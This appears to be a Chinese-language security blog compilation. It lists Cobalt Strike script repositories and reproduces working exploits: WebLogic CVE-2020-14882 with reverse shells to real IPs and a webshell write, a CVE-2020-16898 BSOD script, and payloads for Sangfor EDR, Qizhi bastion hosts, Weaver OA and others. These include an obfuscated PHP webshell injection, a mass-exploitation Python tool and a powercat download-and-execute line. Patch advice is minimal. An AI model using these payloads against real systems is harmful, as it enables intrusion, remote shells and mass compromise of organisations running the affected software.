Cobalt Strike 3.0+ pulled from multiple sourcesSynthesisAggressorScriptsAggressorScriptsSynthesisAggressor-VYSECContains a bunch of CobaltStrike Aggressor ScriptsSynthesisAggressorAssessorAggressorAssessorSynthesisAggressorAssessorAggressorAssessorSynthesisaggressor-scriptsCollection of Cobalt Strike Aggressor ScriptsSynthesisAggressor-scriptsThis is just a random collection of Aggressor Scripts I've written for Cobalt Strike 3.x. (其中有一个debug脚本比较好用)SynthesisAggressor-ScriptCollection of Aggressor Scripts for Cobalt Strike(主要包含了提权和权限维持脚本)SynthesisAggressor-ScriptAggressor Script, Kit, Malleable C2 Profiles, External C2 and so onSynthesisaggressor_scripts_collectionCollection of various aggressor scripts for Cobalt Strike from awesome people. Will be sure to update this repo with credit to each person.SynthesisCobaltStrike-ToolKitgooglesearch.profile and script related to AD.SynthesisArsenalCobalt Strike 3.13 Arsenal KitSynthesiscobalt-arsenalMy collection of battle-tested Aggressor Scripts for Cobalt Strike 4.0+Synthesisaggressor_scriptscode execution via DCOM;the privilege escalation techniques included in ElevateKit;etc.Synthesisaggressor_scriptscode execution via DCOM;the privilege escalation techniques included in ElevateKit;etc.Synthesisaggressorcreating tunnels with netsh; changed default to bit.ly redirect to mcdonalds;using powershell to kill parent process;SynthesisCobaltStrikeCNAA collection of scripts - from various sources - see script for more info.SynthesisAggressorScriptsHighlights selected processes from the ps command in beacon;Loads various aliases into beacon;sets a few defaults for scripts to be used later..SynthesisAggressorAssessor从C2生成到横向移动的全辅助脚本套件SynthesisAggressorCollectionCollection of awesome Cobalt Strike Aggressor Scripts. All credit due to the authorsSynthesisCobaltstrike-Aggressor-Scripts-CollectionThe collection of tested cobaltstrike aggressor scripts.SynthesisaggressorScriptsCobaltStrike AggressorScripts for the lazySynthesiscobalt_strike_extension_kit集成了SharpHound,SharpRDP,SharpWMI等在内的各种内网工具,使用AggressorScripts构建workflow0x05 Related Tools TypeNameDescriptionPopularityLanguageAntiCScobaltstrike_bruteCobalt Strike Team Server Password Brute ForcerAuxiliaryredshellAn interactive command prompt that executes commands through proxychains and automatically logs them on a Cobalt Strike team server.AuxiliaryAnsible-Cobalt-StrikeAn Ansible role to install cobalt-strike on debian based architectures, let's be honest it's for kali.SynthesisrediAutomated script for setting up CobaltStrike redirectors (nginx reverse proxy, letsencrypt)Synthesiscs2modrewriteAutomatically Generate Rulesets for Apache mod_rewrite or Nginx for Intelligent HTTP C2 RedirectionSynthesisRed-EC2Deploy RedTeam Specific EC2 via ansible.)0x06 Source Code TypeNameDescriptionSourcecobalt-strike-sourceCobalt Strike 3.12 Source Code (Decompiled and Fixed)
  20. 0x01 漏洞描述 近日,Oracle WebLogic Server 远程代码执行漏洞 (CVE-2020-14882)POC 被公开,未经身份验证的远程攻击者可能通过构造特殊的 HTTP GET请求,利用该漏洞在受影响的 WebLogic Server 上执行任意代码。它们均存在于WebLogic的Console控制台组件中。此组件为WebLogic全版本默认自带组件,且该漏洞通过HTTP协议进行利用。将CVE-2020-14882和CVE-2020-14883进行组合利用后,远程且未经授权的攻击者可以直接在服务端执行任意代码,获取系统权限 0x02 漏洞影响 Oracle WebLogic Server,版本10.3.6.0,12.1.3.0,12.2.1.3,12.2.1.4,14.1.1.0 0x03 漏洞复现: 一、环境配置 1.本次漏洞复现采用vulhub的环境,weblocig的版本为12.2.1.3.0,该版本存在漏洞 https://github.com/vulhub/vulhub/tree/173136b310693d50cac183c6218e64c861e2aaf5/weblogic/CVE-2020-14882 2.复现漏洞环境配置 git clone https://github.com/vulhub/vulhub.git cd vulhub/ cd weblogic/ curl -s https://bootstrap.pypa.io/get-pip.py | python3 service docker start pip install docker-compose docker-compose up -d 访问http://45.77.248.227:7001/console,即可部署weblogic环境 二、绕过后台登录 1.权限漏洞绕过,主要的POC如下: /console/images/%252E%252E%252Fconsole.portal /console/css/%25%32%65%25%32%65%25%32%66console.portal 大写换成小写可绕过补丁: /console/css/%252e%252e%252fconsole.portal 2.weblocig12绕过后台登录 http://45.77.248.227:7001/console/images/%252E%252E%252Fconsole.portal http://45.77.248.227:7001//console/css/%25%32%65%25%32%65%25%32%66console.portal http://45.77.248.227:7001/console/css/%252e%252e%252fconsole.portal (小写绕过) 三、脚本化利用 脚本地址:https://github.com/backlion/CVE-2020-14882_ALL 1.命令回显 python3 CVE-2020-14882_ALL.py -u http://45.77.248.227:7001/ -c "whomai" python3 CVE-2020-14882_ALL.py -u http://45.77.248.227:7001/ -c "ls" 2.外置xml文件无回显命令执行 Linux反弹shell为例,编辑好poc.xml文件 <beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"> <bean id="pb" class="java.lang.ProcessBuilder" init-method="start"> <constructor-arg> <list> <value>/bin/bash</value> <value>-c</value> <value><![CDATA[bash -i >& /dev/tcp/45.77.248.227/2233 0>&1]]></value> </list> </constructor-arg> </bean> </beans> 注意:上面反弹的地址是服务器IP地址 将poc.xml上传到服务器上,然后python3开启http server web 通过脚本执行命令 python3 CVE-2020-14882_ALL.py -u http://45.77.248.227:7001/ -x http://45.77.248.227:8000/poc.xml 服务器上用nc监听端口 nc -llvp 2233 四、手工提交利用方式一 1.通过提交如下poc,可远程执行命令,这里最好是通过上面的绕过后台,然后通过burpsuit抓包,修改为如下的POC即可。 GET /console/css/%25%32%65%25%32%65%25%32%66consolejndi.portal?test_handle=com.tangosol.coherence.mvel2.sh.ShellSession('weblogic.work.ExecuteThread currentThread = (weblogic.work.ExecuteThread)Thread.currentThread(); weblogic.work.WorkAdapter adapter = currentThread.getCurrentWork(); java.lang.reflect.Field field = adapter.getClass().getDeclaredField("connectionHandler");field.setAccessible(true);Object obj = field.get(adapter);weblogic.servlet.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod("getServletRequest").invoke(obj); String cmd = req.getHeader("cmd");String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};if(cmd != null ){ String result = new java.util.Scanner(new java.lang.ProcessBuilder(cmds).start().getInputStream()).useDelimiter("\\A").next(); weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl)req.getClass().getMethod("getResponse").invoke(req);res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result));res.getServletOutputStream().flush();} currentThread.interrupt();') HTTP/1.1 Host: 45.77.248.227:7001 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.183 Safari/537.36 Accept: */* Referer: http://45.77.248.227:7001//console/images/%252E%252E%252Fconsole.portal?_nfpb=false&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession(%22java.lang.Runtime.getRuntime().exec(%27calc.exe%27);%22); Accept-Encoding: gzip, deflate cmd:whoami && pwd Accept-Language: zh-CN,zh;q=0.9 Cookie: ADMINCONSOLESESSION=8guoLM33tVnPrUomY4v8yi8C9bd-Glfq8JOrW2ntH-gJYHZ-oGgQ!1524101341 Connection: close 2.当前页面的路径为: /u01/oracle/user_projects/domains/base_domain 3.那么可以在该目录下写入后门文件: /u01/oracle/wlserver/server/lib/consoleapp/webapp/images 4.通过提交如下poc即可写入后门 GET /console/css/%25%32%65%25%32%65%25%32%66consolejndi.portal?test_handle=com.tangosol.coherence.mvel2.sh.ShellSession('weblogic.work.ExecuteThread currentThread = (weblogic.work.ExecuteThread)Thread.currentThread(); weblogic.work.WorkAdapter adapter = currentThread.getCurrentWork(); java.lang.reflect.Field field = adapter.getClass().getDeclaredField("connectionHandler");field.setAccessible(true);Object obj = field.get(adapter);weblogic.servlet.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod("getServletRequest").invoke(obj); String cmd = req.getHeader("cmd");String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};if(cmd != null ){ String result = new java.util.Scanner(new java.lang.ProcessBuilder(cmds).start().getInputStream()).useDelimiter("\\A").next(); weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl)req.getClass().getMethod("getResponse").invoke(req);res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result));res.getServletOutputStream().flush();} currentThread.interrupt();') HTTP/1.1 Host: 45.77.248.227:7001 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.183 Safari/537.36 Accept: */* Referer: http://45.77.248.227:7001//console/images/%252E%252E%252Fconsole.portal?_nfpb=false&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession(%22java.lang.Runtime.getRuntime().exec(%27calc.exe%27);%22); Accept-Encoding: gzip, deflate cmd:whoami && pwd & echo 'this is a test!' > /u01/oracle/wlserver/server/lib/consoleapp/webapp/images/test.jsp Accept-Language: zh-CN,zh;q=0.9 Cookie: ADMINCONSOLESESSION=8guoLM33tVnPrUomY4v8yi8C9bd-Glfq8JOrW2ntH-gJYHZ-oGgQ!1524101341 Connection: close 5.可以看到weblogic虚拟目录下写入了后门文件 6.访问如下地址,即可获取后门 http://45.77.248.227:7001/console/images/test.jsp 五、手工利用方式二 1、linux下通过远程访问xml文件执行反弹shell 首先,我们需要构造一个XML文件,并将其保存在Weblogic可以访问到的服务器上,如http://45.77.248.227:8000/poc.xml: <?xml version="1.0" encoding="UTF-8" ?> <beansxmlns="http://www.springframework.org/schema/beans"xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"> <beanid="pb"class="java.lang.ProcessBuilder"init-method="start"> <constructor-arg> <list> <value>bash</value> <value>-c</value> <value><![CDATA[bash -i >& /dev/tcp/45.77.248.227/2233 0>&1]]></value> </list> </constructor-arg> </bean> </beans> 通过FileSystemXmlApplicationContext()函数远程加载xml,这里访问如下地址: http://45.77.248.227:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://45.77.248.227:8000/poc.xml") 服务监听nc反弹 nc -lvvp 2233 或者 通过ClassPathXmlApplicationContext()函数远程加载xml http://45.77.248.227:7001/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.bea.core.repackaged.springframework.context.support.ClassPathXmlApplicationContext("http://45.77.248.227:8000/poc.xml") 服务监听nc反弹 nc -lvvp 2233 2、windows下通过FileSystemXmlApplicationContext()函数写入后门文件(weblocig_12版本) 尝试通过FileSystemXmlApplicationContext()加载并执行远端xml文件: http://192.168.3.136:7001/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://192.168.3.1/poc.xml") poc.xml如下: <beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"> <bean id="pb" class="java.lang.ProcessBuilder" init-method="start"> <constructor-arg> <list> <value>cmd</value> <value>/c</value> <value><![CDATA[../../../wlserver/server/lib/consoleapp/webapp/images/xxx.jsp]]></value> </list> </constructor-arg> </bean> </beans> 通过此方法,windows可以往images路径下写文件,写入路径为: ../../../wlserver/server/lib/consoleapp/webapp/images/xxx.jsp 访问http://192.168.3.136:7001/console/images/xxx.jsp 写入成功~~ 3、weblogic 10 写入后门 因为com.tangosol.coherence.mvel2.sh.ShellSession这个gadget,只存在于weblogic 12,weblogic10 并没有这个gadget(没有包),所以无法使用 需要使用com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext来执行,所有Weblogic版本均适用。 http://ip:7001/console/css/%2e%2e%2fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://server ip :8000/poc.xml") 0X04 漏洞修复 尝试复现的时候发现/console/consolejndi.portal路径也可以触发,所以 至少禁止以下路径的访问。或者直接禁止访问console。 /console/console.portal /console/consolejndi.portal 或者通过官方下载补丁,这里需要正版授权才能下载 升级官方补丁:https://www.oracle.com/security-alerts/cpuoct2020.html
  21. 0x00 漏洞背景 2020年10月14日,某监测发现 Microsoft 发布了 TCP/IP远程代码执行漏洞的风险通告,该漏洞是由于Windows TCP/IP堆栈在处理IMCPv6 Router Advertisement(路由通告)数据包时存在漏洞,远程攻击者通过构造特制的ICMPv6 Router Advertisement(路由通告)数据包 ,并将其发送到远程Windows主机上,可造成远程BSOD,漏洞编号为CVE-2020-16898。 0x01 影响版本 操作系统版本版本补丁经过测试 Windows 10 X86 / x64 / ARM64 1709 ✔️ Windows 10 X86 / x64 / ARM64 1803 ✔️ Windows 10 X86 / x64 / ARM64 1809年 ✔️ Windows 10 X86 / x64 / ARM64 1903年 ✔️ Windows 10 X86 / x64 / ARM64 1909年 ✔️ Windows 10 X86 / x64 / ARM64 2004年 ✔️ Windows Server 2019 Windows Server 2019(服务器核心版) Windows Server 1903版(服务器核心版) Windows Server版本1909(服务器核心版) Windows Server 2004版(服务器核心版本) 0x02 漏洞成因 根据rfc5006 描述,RDNSS包的length应为奇数,而当攻击者构造的RDNSS包的Length为偶数时,Windows TCP/IP 在检查包过程中会根据Length来获取每个包的偏移,遍历解析,导致对 Addresses of IPv6 Recursive DNS Servers 和下一个 RDNSS 选项的边界解析错误,从而绕过验证,将攻击者伪造的option包进行解析,造成栈溢出,从而导致系统崩溃。 0x03 漏洞复现 攻击机:win10x64 靶机:Windows 10x64_1709 1.通过vmware对受害主机开启IPV6 2.对CVE-2020-16898.py脚本中的IPV6地址进行修改,这里分别为攻击机的本来连接IPV6地址以及靶机IPV6地址。 #!/usr/bin/env python3 # # Proof-of-Concept / BSOD exploit for CVE-2020-16898 - Windows TCP/IP Remote Code Execution Vulnerability # # Author: Adam 'pi3' Zabrocki # http://pi3.com.pl from scapy.all import * from scapy.layers.inet6 import ICMPv6NDOptEFA, ICMPv6NDOptRDNSS, ICMPv6ND_RA, IPv6, IPv6ExtHdrFragment, fragment6 v6_dst = "fd15:4ba5:5a2b:1008:9d37:36d2:3363:6496" #目标靶机IPv6 地址 v6_src = "fe80::ec1e:a7aa:6717:67c6%13" #攻击机本地链接 IPv6 地址 p_test_half = 'A'.encode()*8 + b"\x18\x30" + b"\xFF\x18" p_test = p_test_half + 'A'.encode()*4 c = ICMPv6NDOptEFA() e = ICMPv6NDOptRDNSS() e.len = 21 e.dns = [ "AAAA:AAAA:AAAA:AAAA:FFFF:AAAA:AAAA:AAAA", "AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA", "AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA", "AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA", "AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA", "AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA", "AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA", "AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA", "AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA", "AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA" ] aaa = ICMPv6NDOptRDNSS() aaa.len = 8 pkt = ICMPv6ND_RA() / aaa / \ Raw(load='A'.encode()*16*2 + p_test_half + b"\x18\xa0"*6) / c / e / c / e / c / e / c / e / c / e / e / e / e / e / e / e p_test_frag = IPv6(dst=v6_dst, src=v6_src, hlim=255)/ \ IPv6ExtHdrFragment()/pkt l=fragment6(p_test_frag, 200) for p in l: send(p) 3.最后使用命令pip3 install scapy,安装依赖包,执行CVE-2020-16898.py,即可看到靶机出现蓝屏 4.本地检查脚本:CVE-2020-16898_Checker.ps1 ####################################################################################################### ### 14/10/2020 - Written by Cyril Pineiro / SYNAPSYS-IT ### Check if Network Interface is Vulnerable to CVE-2020-16898 & CVE-2020-16899 ### Returns Interface Index and Alias ####################################################################################################### Clear $interfaces = (Get-NetIPInterface | where {$_.AddressFamily -eq "IPv6"}).ifIndex foreach ($interface in $interfaces) { [bool]$vuln = $false $output = netsh int ipv6 sh interfaces interface=$interface foreach ($Line in $output) { if($Line.Contains("6106") -and $Line.Contains("enabled")) { [bool]$vuln = $true } } $NetIPInterfaceAlias = ((Get-NetIPAddress -InterfaceIndex $interface | Select-Object InterfaceAlias)[0]).InterfaceAlias if ($vuln) { Write-Host "Interface '$($interface)' named '$($NetIPInterfaceAlias)' is Vulnerable to CVE-2020-16898 & CVE-2020-16899" -ForegroundColor Red } else { Write-Host "Interface '$($interface)' named '$($NetIPInterfaceAlias)' is Not Vulnerable to CVE-2020-16898 & CVE-2020-16899" -ForegroundColor Green } } 0x04 漏洞修复 通过如下链接自行寻找符合操作系统版本的漏洞补丁,并进行补丁下载安装 https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-16898 0x05 参考地址 https://github.com/momika233/CVE-2020-16898-exp/blob/main/CVE-2020-16898.py https://github.com/CPO-EH/CVE-2020-16898_Checker/blob/main/CVE-2020-16898_Checker.ps1 https://github.com/Ascotbe/Kernelhub/tree/master/CVE-2020-16898
  22. 一、配置数据库(需要300GB以上磁盘剩余空间)下载并安装SqlServer2008R2,配置好用户名以及登录密码,如果远程连接数据库的话,需配置数据库允许远程登录(SqlServer数据库配置请自行搜索教程)下载数据库备份文件(现目前暂时不公布,需要的可私聊)解压下载的压缩包,得到数据库备份文件,恢复数据库备份文件到SqlServer(SqlServer恢复数据库恢复操作请自行搜索教程,这里的目标数据的名称可自定写入)二、搭建服务端(需要支持Nodejs的操作系统,CPU1核以上剩余内存1GB以上)下载安装Node.js环境npm全局安装webpack和webpack-dev-server1.全局安装webpack npm install webpack -g 2.全局安装webpack-dev-server npm install webpack-dev-server -g 三、配置数据库连接1.下载项目源码:https://github.com/backlion/qqgroup-visualization2.进入项目目录下3.打开db.json文件,修改其中的数据库连接信息为自己的数据库连接信息(默认的数据库连接信息是我本人的服务器上的数据库,不保证可用)db.json例子:{ "server": "服务器地址", "database": "数据库名称", "user": "请输入用户名", "password": "请输入数据库用户密码" }四、运行1.进入项目目录下 2.安装依赖 npm install3.运行系统 npm run start注意:数据库请使用SqlServer2008R2或更新版本的SqlServer 只是在QQ号字段以及群号字段上加了索引用来优化查询速度
  23. 一、齐治堡垒机前远程命令执行漏洞(CNVD-2019-20835)1、访问 http://10.20.10.11/listener/cluster_manage.php :返回 "OK".(未授权无需登录)2、访问如下链接即可获得getshell,执行成功后,生成PHP一句话马https://10.20.10.10/ha_request.php?action=install&ipaddr=10.20.10.11&node_id=1${IFS}|`echo${IFS}" ZWNobyAnPD9waHAgQGV2YWwoJF9SRVFVRVNUWzEwMDg2XSk7Pz4nPj4vdmFyL3d3dy9zaHRlcm0vcmVzb3VyY2VzL3FyY29kZS9sYmo3Ny5waHAK"|base64${IFS}- d|bash`|${IFS}|echo${IFS}3.getshell访问路径:/var/www/shterm/resources/qrcode/lbj77.php https://10.20.10.10/shterm/resources/qrcode/lbj77.php(密码10086)据说还是另外一个版本是java的: POST /shterm/listener/tui_update.php a=["t';import os;os.popen('whoami')#"] 二、天融信TopApp-LB 负载均衡系统Sql注入漏洞 1.利用POC:POST /acc/clsf/report/datasource.php HTTP/1.1Host: localhostConnection: closeAccept: text/javascript, text/html, application/xml, text/xml, */*User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36Accept-Language: zh-CN,zh;q=0.9Content-Type: application/x-www-form-urlencoded t=l&e=0&s=t&l=1&vid=1+union select 1,2,3,4,5,6,7,8,9,substr('a',1,1),11,12,13,14,15,16,17,18,19,20,21,22--+&gid=0&lmt=10&o=r_Speed&asc=false&p=8&lipf=&lipt=&ripf=&ript=&dscp=&proto=&lpf=&lpt=&rpf=&rpt=@。。 2.2个历史漏洞仍然可以复现。 https://www.uedbox.com/post/21626/ 用户名随意 密码:;id(天融信负载均衡TopApp-LB系统无需密码直接登陆) https://www.uedbox.com/post/22193/用户名: ; ping 9928e5.dnslog.info; echo 密码:任意 三、用友GRP-u8 注入 利用POC:POST /Proxy HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0;)Host: localhostContent-Length: 341Connection: Keep-AliveCache-Control: no-cache cVer=9.8.0&dp=<?xml version="1.0" encoding="GB2312"?><R9PACKET version="1"><DATAFORMAT>XML</DATAFORMAT><R9FUNCTION><NAME>AS_DataRequest</NAME><PARAMS><PARAM><NAME>ProviderName</NAME><DATA format="text">DataSetProviderData</DATA></PARAM><PARAM><NAME>Data</NAME><DATA format="text">exec xp_cmdshell 'whoami'</DATA></PARAM></PARAMS></R9FUNCTION></R9PACKET> 四、绿盟UTS综合威胁探针管理员任意登录 逻辑漏洞,利用方式参考:https://www.hackbug.net/archives/112.html 1、修改登录数据包 {"status":false,"mag":""} -> {"status":true,"mag":""} 2、/webapi/v1/system/accountmanage/account接口逻辑错误泄漏了管理员的账户信息包括密码(md5) 3、再次登录,替换密码上个数据包中md5密码 4、登录成功 漏洞实际案例:对响应包进行修改,将false更改为true的时候可以泄露管理用户的md5值密码利用渠道的md5值去登录页面7ac301836522b54afcbbed714534c7fb 五、天融信数据防泄漏系统越权修改管理员密码 无需登录权限,由于修改密码处未校验原密码,且/?module=auth_user&action=mod_edit_pwd,接口未授权访问,造成直接修改任意用户密码,默认superman账户uid为1 POST /?module=auth_user&action=mod_edit_pwd Cookie: username=superman; uid=1&pd=Newpasswd&mod_pwd=1&dlp_perm=1 六、WPS Office 图片解析错误导致堆损坏,任意代码执行 看上去(算了看不懂... ,漏洞利用可能导致拒绝服务。 相关参考: http://zeifan.my/security/rce/heap/2020/09/03/wps-rce-heap.html 七、SANGFOR终端检测响应平台-任意用户登录fofa指纹:title="SANGFOR终端检测响应平台" 漏洞利用: payload: https://ip/ui/login.php?user=需登录的用户名列如: https://1.1.1.1:1980/ui/login.php?user=admin查询完毕以后即可登录平台。 八、某信服EDR漏洞-包含payload 1.漏洞利用方法: https://xxx.xxx.xxx/tool/log/c.php?strip_slashes=system&host=whoami 2.批量利用方法 网上已经放出批量利用方法了,如下:https://github.com/A2gel/sangfor-edr-exploit # -*- coding: utf-8 -*- # @Time : 2020/8/17 # @Author : Angel # @File : edr.py # 感谢大佬提供Command execute部分代码 import requests import re import urllib3 import sys import base64 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) def hello(): """ init function :return: init print """ print ( """SangFor EDR remote command code exploit Angel 20200817 Github: https://github.com/A2gel/sangfor-edr-exploit Command: python edr.py url http://10.10.10.0/ Command: python edr.py file 1.txt whoami""") def readFile(filename): """ 逐行读取文件内容并返回列表 :param filename: 文件名 :return: 逐行分割的文件内容 """ list=[] keywords = open('./'+filename, 'r') line = keywords.readline().strip('\n') while (line): list.append(line) line = keywords.readline().strip('\n') keywords.close() return list def log(name,value): """ 逐行写入文件 :param name: 文件名 :param value: 文件内容 :return: 空 """ save = file(str(name)+".txt", "a+") save.write(str(value)+"\n") save.close() def rce(host,command): """ 远程命令执行核心函数 :param host: URL信息 :param command: 执行的命令 :return: 成功执行返回命令回显 失败打印faild 返回- """ headers={ 'Connection': 'close', 'Cache-Control': 'max-age=0', 'Upgrade-Insecure-Requests': '1', 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9', 'Sec-Fetch-Site': 'none', 'Sec-Fetch-Mode': 'navigate', 'Sec-Fetch-User': '?1', 'Sec-Fetch-Dest': 'document', 'Accept-Encoding': 'gzip, deflate', 'Accept-Language': 'zh-CN,zh;q=0.9' } command=base64.b64encode(command) command="echo \""+command+"\""+"|base64 -d|bash" command = command.replace(" ","$IFS") url="{}/tool/log/c.php?strip_slashes=system&host={}".format(host,command) #print url try: response = requests.get(url,verify=False,headers=headers) response.raise_for_status() response.encoding = "utf-8" #print response.text res=re.findall(r'<b>Log Helper</b></p>(.+?)<pre><form',response.text,re.S) response.close() print(res[0]) return "+" except: print('failed') return "-" if __name__ == '__main__': if len(sys.argv) < 2: hello() else: if sys.argv[1] == "url": while 1: command = raw_input("Command> ") if command: print ("Try %s"%sys.argv[2]) rce(sys.argv[2],command) else: print ("Please input Command") command = "" elif sys.argv[1] == "file": if (sys.argv) < 3: print "Command: python edr.py file url.txt" else: for i in readFile(sys.argv[2]): print ("Try %s"%i) if rce(i,sys.argv[3]) == "+": log("success",sys.argv[3]) else: log("error",sys.argv[3]) else: hello() 3.使用方法单个url python edr.py url http://10.10.10.10 Command> whoami Try http://10.10.10.10 root 批量url 需要在目录下创建xxx.txt 一行一个url python edr.py file 1.txt whoami Try: http://10.10.10.10 root Try: http://10.10.10.11 root 九、sangfor EDR RCE漏洞1.漏洞原理: dev_linkage_launch.php 为设备联动的新入口点主要是将联动的接口构造成业务统一处理的接口 主要调用 跟进 可以看到 第一个检查为 $req_url = $_SERVER['PHP_SELF']; 绕过第一个检查: 在他们系统nginx配置文件里面: 通过nginx规则可以得知,他们没有设置禁止外网访问.从而可以直接访问 /api/edr/sangforinter/v2/xxx 绕过 第一个检查 第二检查: 权限检查 跟进check_access_token 这里if($md5_str == $json_token["md5"]) 引发第二个漏洞: php弱类型导致的漏洞 绕过只需要传入一个base64编码的json内容为 {“md5”:true}即可 至此 权限检查绕过完毕 来到 process_cssp.php 文件 存在任意指令执行漏洞.作者试图使用escapeshellarg函数去给单引号打反斜杠实际上是毫无作用的. 绕过:{"params":"w=123\"'1234123'\"|命令"} 2.利用POC: post /api/edr/sanforinter/v2/cssp/slog_client?token=ssskbkds HTTP/1.1. {"params":"w=123\"'1234123'\"|bash -i >/dev/tcp/167.179.118.219/8899 0>&1"} 外网linux反弹监听NC端口 nc -lvvp 889 深信服EDR 远程命令执行的技巧:/api/edr/sangforinter/v2/cssp/slog_client?token=eyJtZDUiOnRydWV9 {"params": "w=123\"'1234123'\"|curl `whoami`.dnslog.cn"} 十、联软科技产品存在任意文件上传和命令执行漏洞1.影响范围:联软科技相关产品 2.漏洞描述:任意文件上传漏洞,存在于用户自检报告上传时,后台使用黑名单机制对上传的文件进行过滤和限制,由于当前黑名单机制存在缺陷,文件过滤机制可以被绕过,导致存在文件上传漏洞;利用该漏洞可以获取webshell权限。 命令执行漏洞,存在于后台资源读取过程中,对于自动提交的用户可控参数没有进行安全检查,可以通过构造特殊参数的数据包,后台在执行过程中直接执行了提交数据包中的命令参数,导致命令执行漏洞;该漏洞能够以当前运行的中间件用户权限执行系统命令,根据中间件用户权限不同,可以进行添加系统账户,使用反弹shell等操作。 3.规避措施:建议各单位在修补漏洞前制定详细的书面方案,方案需要包含升级、业务验证、回退等内容。升级加固操作建议在业务闲时进行操作,各单位可以分批次,采取先验证后批量修复的方式开展升级工作。如果在修复时发生异常,建议按照预先制定的应急预案进行回退,确保不影响业务的正常运行。各单位在升级后需进行相关业务验证,确保本次漏洞临时修复方案对业务零影响。十一、泛微OA Bsh 远程代码执行漏洞1. 漏洞简介2019年9月17日泛微OA官方更新了一个远程代码执行漏洞补丁, 泛微e-cology OA系统的Java Beanshell接口可被未授权访问, 攻击者调用该Beanshell接口, 可构造特定的HTTP请求绕过泛微本身一些安全限制从而达成远程命令执行, 漏洞等级严重.2. 影响组件:泛微OA3. 漏洞指纹Set-Cookie: ecology_JSessionId=ecology/weaver/bsh.servlet.BshServlet4. Fofa Dorkapp="泛微-协同办公OA"5. 漏洞分析https://www.freebuf.com/vuls/215218.htmlhttps://github.com/beanshell/beanshellhttp://beanshell.org/manual/quickstart.html#The_BeanShell_GUI6. 漏洞利用利用POC:POST /weaver/bsh.servlet.BshServlet HTTP/1.1Host: xxxxxxxx:8088Accept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)Connection: closeContent-Length: 98Content-Type: application/x-www-form-urlencoded bsh.script=eval%00("ex"%2b"ec(\"whoami\")");&bsh.servlet.captureOutErr=true&bsh.servlet.output=rawCNVD-2019-32204利用脚本: https://github.com/myzing00/Vulnerability-analysis/tree/master/0917/weaver-oa/CNVD-2019-32204批量脚本执行:pip install requestspython Weaver-Ecology-OA_RCE-exp.py url.txt文件中 是url地址 需要带http协议7. 利用技巧其他形式绕过eval%00("ex"%2b"ec(\"whoami\")"); 也可以换成 ex\u0065c("cmd /c dir");泛微多数都是windows环境, 反弹shell可以使用pcatPowershellIEX(New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');powercat -c ip -p 6666 -e cmd8. 防护方法1.及时更新泛微补丁2.拦截/weaver/bsh.servlet.BshServlet目录的访问十二、泛微OA e-cology SQL注入漏洞1. 漏洞简介泛微OA在国内的用户很多,漏洞以前也很多,但现在在漏洞盒子托管了企业SRC: https://weaversrc.vulbox.com/, 情况有所好转2. 影响组件泛微OA3. 漏洞指纹Set-Cookie: 